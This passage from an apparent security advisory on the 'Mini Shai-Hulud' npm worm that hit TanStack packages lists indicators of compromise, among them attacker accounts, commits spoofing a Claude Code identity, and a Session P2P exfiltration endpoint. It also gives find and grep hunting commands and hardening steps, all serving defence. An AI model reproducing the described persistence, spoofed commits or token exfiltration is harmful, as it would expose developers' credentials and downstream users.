optionalDependenciesentry referencinggithub:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c— definitive indicator. -
Activity from GitHub account
voicproducoes(ID269549300, created 19 March 2026). -
The fork
voicproducoes/routercreated on 10 May 2026 — origin of the orphan commit. -
Worm-marker repositories such as
siridar-ghola-567andtleilaxu-ornithopter-43. -
Any GitHub repo whose description reads
"A Mini Shai-Hulud has Appeared". -
Commits authored by
claude@users.noreply.github.comthat you did not make — spoofed Claude Code App identity used for worm propagation.
Network Indicators
-
Any outbound traffic to
filev2.getsession[.]org/file/— primary exfiltration channel over Session P2P. -
Unexpected fetches of
github.com/oven-sh/bun/releases/download/bun-v1.3.13/duringnpm install. The payload requiresBun.gunzipSync(), so a Bun runtime download mid-install is highly anomalous for most pipelines.
Detection & Remediation
Immediate Actions
Hunt for the malicious payload files and persistence artefacts:
# Look for the dropped payload files
find . -name "router_init.js" -size +1M
find . -name "tanstack_runner.js"
# Hunt persistence artefacts
find . -path "*/.claude/settings.json" \
-o -path "*/.claude/router_runtime.js" \
-o -path "*/.claude/setup.mjs"
find . -path "*/.vscode/tasks.json" | xargs grep -l "folderOpen" 2>/dev/null
find . -path "*/.vscode/setup.mjs"
# Check for the malicious optional dependency
grep -r "79ac49eedf774dd4b0cfa308722bc463cfe5885c" \
node_modules/ package-lock.json 2>/dev/null
.env files.
If your npm token had publish rights, audit every package you maintain
for unexpected versions published on or after
11 May 2026, paying particular attention to commits
authored by claude@users.noreply.github.com. Block outbound
traffic to filev2.getsession[.]org at the egress layer and
review recent flow logs for any matches.
Long-Term Hardening
-
Commit and install from lockfiles. Treat changes to
package-lock.json,yarn.lockorpnpm-lock.yamlas code, surfacing every new version in a PR diff. Use strict installs everywhere:npm ci,yarn install --frozen-lockfile,pnpm install --frozen-lockfile. -
Force
--ignore-scriptsin CI installs.npm ci --ignore-scriptsdisablespreinstall,postinstallandpreparehooks — the delivery vehicle for every Shai-Hulud variant. Single highest-leverage control available today. -
Pin OIDC trusted publishing to a specific workflow
file and a specific protected branch. Repository-wide trust
is what the TanStack attacker monetised; pinning to
refs/heads/mainplus.github/workflows/release.ymlcloses the surface. -
Treat orphan commits — and any commit reachable only via a fork —
as a threat indicator.
An unparented commit that introduces only a
package.jsonand a bundled payload should trigger an investigation before any workflow processes it. - Do not treat npm provenance as a standalone control. Both this incident and the SAP wave produced packages with valid provenance from authorised CI runs. Provenance narrows the attack surface — it does not eliminate it. OIDC scope-pinning is the companion control that gives provenance teeth.
-
Alert on Bun downloads at install time. A
bun-v1.3.13fetch duringnpm installis anomalous in most pipelines and is a high-confidence trigger for this campaign. -
Audit
optionalDependenciesacross your direct and transitive graph. Many static analysis tools focus ondependenciesanddevDependenciesand miss this field entirely.
Final Thoughts
A Mini Shai-Hulud is still a sandworm — and each iteration is bigger and technically sharper than the last. Four SAP packages became 84 TanStack packages became 160+ within twelve days. The attack vector has marched from stolen static tokens, through OIDC abuse via branch pushes, all the way to orphan commits travelling through forks; and the exfiltration channel has migrated from GitHub itself to the Session P2P network, stripping defenders of a meaningful slice of observability.
The TanStack team had 2FA on every account. It did not matter. The attacker did not need a maintainer's credentials at all — only the ability to push to a fork and an OIDC scope that was a few lines too generous. The lesson is not "use OIDC" or "use provenance". It is scope every trust relationship to the absolute minimum: the workflow file, the branch, the script hooks, the lifecycle surface. That is the control that turns this class of attack from a one-line dependency edit back into hard work.
The worm is iterating. Defenders have to iterate faster.